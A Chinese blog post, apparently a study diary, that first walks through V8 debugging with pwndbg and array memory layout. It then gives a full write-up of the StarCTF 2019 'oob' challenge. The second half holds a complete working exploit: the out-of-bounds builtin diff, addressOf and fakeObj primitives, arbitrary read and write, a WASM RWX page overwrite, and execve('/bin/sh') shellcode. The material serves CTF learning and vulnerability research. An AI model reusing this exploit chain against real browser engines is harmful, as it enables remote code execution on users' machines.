v8 study

v8环境搭建看这里
现在的v8采用的是Ignition(JIT生成) + TurboFan(优化)

v8调试

安装pwngdb

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

将v8/tools/目录下的gdbinit和gdb-v8-support.py添加到~/.gdbinit

source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py

之后就可以使用%DebugPrint(x)来输出调试信息,使用%SystemBreak()来对程序下断点。
但是js本身是没有%这种语法的,执行时要加上--allow-natives-syntax
写个脚本测试下

$ cat ./example/test.js 
arr = [1, 2, 3]
%DebugPrint(a);
%SystemBreak();
$ ./d8 --allow-natives-syntax ./example/test.js 
DebugPrint: 0x7900010bdfd: [JSArray]
 - map: 0x07900024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x07900024e2f9 <JSArray[0]>
 - elements: 0x07900025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x0790000022a9 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x79000006e61: [String] in ReadOnlySpace: #length: 0x079000204285 <AccessorInfo name= 0x079000006e61 <String[6]: #length>, data= 0x0790000022e1 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x07900025a7bd <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
0x7900024e0b5: [Map] in OldSpace
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x0790000022e1 <undefined>
 - prototype_validity cell: 0x079000003875 <Cell value= 1>
 - instance descriptors #1: 0x07900024e865 <DescriptorArray[1]>
 - transitions #1: 0x07900024e881 <TransitionArray[4]>Transition array #1:
     0x079000007d55 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x07900024e899 <Map[16](HOLEY_SMI_ELEMENTS)>

 - prototype: 0x07900024e2f9 <JSArray[0]>
 - constructor: 0x07900024e021 <JSFunction Array (sfi = 0x7900021d455)>
 - dependent code: 0x0790000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0

可以看出打印出了数组大小,内容以及数据类型等相关信息,数组成员被存储为了SMI(small integer)类型

使用GDB调试

$ gdb d8
pwndbg> r --allow-natives-syntax ./example/test.js
[New Thread 0x7f7491b4a700 (LWP 2571)]
DebugPrint: 0x1e840010be29: [JSArray]
 - map: 0x1e840024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1e840024e2f9 <JSArray[0]>
 - elements: 0x1e840025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x1e84000022a9 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1e8400006e61: [String] in ReadOnlySpace: #length: 0x1e8400204285 <AccessorInfo name= 0x1e8400006e61 <String[6]: #length>, data= 0x1e84000022e1 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x1e840025a7bd <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
0x1e840024e0b5: [Map] in OldSpace
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x1e84000022e1 <undefined>
 - prototype_validity cell: 0x1e8400003875 <Cell value= 1>
 - instance descriptors #1: 0x1e840024e865 <DescriptorArray[1]>
 - transitions #1: 0x1e840024e881 <TransitionArray[4]>Transition array #1:
     0x1e8400007d55 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x1e840024e899 <Map[16](HOLEY_SMI_ELEMENTS)>

 - prototype: 0x1e840024e2f9 <JSArray[0]>
 - constructor: 0x1e840024e021 <JSFunction Array (sfi = 0x1e840021d455)>
 - dependent code: 0x1e84000022b9 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
 - construction counter: 0
pwndbg> job 0x1e840010be29
0x1e840010be29: [JSArray]
 - map: 0x1e840024e0b5 <Map[16](PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x1e840024e2f9 <JSArray[0]>
 - elements: 0x1e840025a7bd <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x1e84000022a9 <FixedArray[0]>
 - All own properties (excluding elements): {
    0x1e8400006e61: [String] in ReadOnlySpace: #length: 0x1e8400204285 <AccessorInfo name= 0x1e8400006e61 <String[6]: #length>, data= 0x1e84000022e1 <undefined>> (const accessor descriptor), location: descriptor
 }
 - elements: 0x1e840025a7bd <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
pwndbg> job 0x1e840025a7bd
0x1e840025a7bd: [FixedArray] in OldSpace
 - map: 0x1e84000021e1 <Map(FIXED_ARRAY_TYPE)>
 - length: 3
           0: 1
           1: 2
           2: 3
pwndbg> x/8gx 0x1e840010be29-1
0x1e840010be28:	0x000022a90024e0b5	0x000000060025a7bd
0x1e840010be38:	0xbeadbeefbeadbeef	0xbeadbeefbeadbeef
0x1e840010be48:	0xbeadbeefbeadbeef	0xbeadbeefbeadbeef
0x1e840010be58:	0xbeadbeefbeadbeef	0xbeadbeefbeadbeef
pwndbg> x/8gx 0x1e840025a7bd-1
0x1e840025a7bc:	0x00000006000021e1	0x0000000400000002
0x1e840025a7cc:	0x000024d100000006	0x0025a7bd00000000
0x1e840025a7dc:	0x0000000400002169	0x0025a7290025a7d1
0x1e840025a7ec:	0x0000002e0000320d	0x00003f790025a7dd

job命令可以查看js object的内存分布。但是job命令的地址是真实地址+1
在v8中地址进行了压缩,只保存低32bit,高位地址都一样
可以看出在0x1e840010be29-1就是存储的arr这个数组的信息,依次分别是map|properties|elements|length

 - map: 0x1e840024e0b5 
 - elements: 0x1e840025a7bd
 - length: 3
 - properties: 0x1e84000022a9
0x1e840010be28:	0x000022a9|0024e0b5	0x00000006|0025a7bd

这里的length乘了2,后面存储的数组元素也乘了2,应该是v8的特性吧
在elements-1即0x1e840025a7bc出可以看出存储的分别是map|length|arr

- map: 0x1e84000021e1 <Map(FIXED_ARRAY_TYPE)>
 - length: 3
           0: 1
           1: 2
           2: 3
0x1e840025a7bc:	0x00000006|000021e1	0x00000004|00000002
0x1e840025a7cc:	0x000024d1|00000006	

上边有两个length,第一个是申请的长度,第二个是已使用的长度
存储double类型时按64bit的长度存储,存储的是真实值不会像integer一样乘2

star ctf oob

环境搭建

$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf/oob.diff
$ gclient sync -D
$ ./tools/dev/v8gen.py x64.release
$ ninja -C ./out.gn/x64.release

最后的测试poc要编译release版本,debug版本会有assert错误爆出。
先看一下这个版本的v8对象内存分布

$ cat ../../../v8_diff/star_ctf_oob/test.js
var a = [1.1, 2.2, 3.3];
%DebugPrint(a);
%SystemBreak();
$ ./d8 --allow-natives-syntax ../../../v8_diff/star_ctf_oob/test.js 
DebugPrint: 0x4366814ddd9: [JSArray]
 - map: 0x20060f5c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0c1ef0b11111 <JSArray[0]>
 - elements: 0x04366814ddb1 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x2cbc7c180c71 <FixedArray[0]> {
    #length: 0x07cfb95801a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x04366814ddb1 <FixedDoubleArray[3]> {
           0: 1.1
           1: 2.2
           2: 3.3
 }
0x20060f5c2ed9: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_DOUBLE_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x20060f5c2e89 <Map(HOLEY_SMI_ELEMENTS)>
 - prototype_validity cell: 0x07cfb9580609 <Cell value= 1>
 - instance descriptors #1: 0x0c1ef0b11f49 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x0c1ef0b11eb9 <TransitionArray[4]>Transition array #1:
     0x2cbc7c184ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x20060f5c2f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

 - prototype: 0x0c1ef0b11111 <JSArray[0]>
 - constructor: 0x0c1ef0b10ec1 <JSFunction Array (sfi = 0x7cfb958aca1)>
 - dependent code: 0x2cbc7c1802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0
pwndbg> x/8gx 0x04366814ddb1-1
0x4366814ddb0:	0x00002cbc7c1814f9	0x0000000300000000
0x4366814ddc0:	0x3ff199999999999a	0x400199999999999a
0x4366814ddd0:	0x400a666666666666	0x000020060f5c2ed9
0x4366814dde0:	0x00002cbc7c180c71	0x000004366814ddb1
pwndbg> x/8gx 0x4366814ddd9-1
0x4366814ddd8:	0x000020060f5c2ed9	0x00002cbc7c180c71
0x4366814dde8:	0x000004366814ddb1	0x0000000300000000
0x4366814ddf8:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef
0x4366814de08:	0xdeadbeedbeadbeef	0xdeadbeedbeadbeef

可以看出a的元素后面紧跟着a的map addr
看下题目给的diff文件,发现主要是给array增加了一个oob方法,当参数个数为1时可以越界读一个内存单位,参数个数为2是可以越界写。而c++必有一个参数this,所以其实就是无参越界读,有参越界写

+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

所以我们通过这个越界写将一个对象的map修改为数组的map这样就可以实现任意读,这个过程可以封装成addressOf

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

将一个数组的map修改为对象的map可以伪造出一个对象,封装为fakeObj.

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

任意读
一个arr的堆分布应该是map|length|arr value|map|properties|elements|length,其中elements指向第一个map的地址
我们首先构造一个fake_array,其第一个元素是array_map对应上边的第二个map,那elements就是fake_array[2],将fake_array[2]修改为要读取的地址 - len(map + length) + 1就可以读出改地址的数据。
任意写同理。

var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];
function read(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}
function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

任意读写实现了那么怎么执行命令呢,可以通过执行wasm的shellcode来进行提权等操作,wasm是js中一种类似汇编的存在,所在的段具有rwx权限。
获取rwx_addr

var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));
function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

最后的exp

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    double_array[0] = itof(addr_to_fake + 1n);
    double_array.oob(obj_map);  // 把浮点型数组的map地址改为对象数组的map地址
    let faked_obj = double_array[0];
    double_array.oob(array_map); // 改回来,以便后续需要的时候使用
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    obj_array[0] = obj_to_leak;
    obj_array.oob(array_map); // 把obj数组的map地址改为浮点型数组的map地址
    let obj_addr = ftoi(obj_array[0]) - 1n;
    obj_array.oob(obj_map); // 把obj数组的map地址改回来,以便后续使用
    return obj_addr;
}

function read64(addr)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[2] = itof(addr - 0x10n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr = addressOf(data_buf) + 0x20n;
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr, ftoi(rwx_addr));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = double_array.oob();
var obj_map = obj_array.oob();

var fake_array = [
    array_map,
    itof(0n),
    itof(0x41414141n),
    itof(0x100000000n),
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr + 0x30n;
var fake_object = fakeObj(fake_object_addr);

var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x88n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

参考

从0开始学V8漏洞利用之starctf 2019 OOB(三)
v8利用初探 2019 StarCTF oob 复现分析

posted @ 2023-01-28 16:20  岁云暮  阅读(48)  评论(0编辑  收藏  举报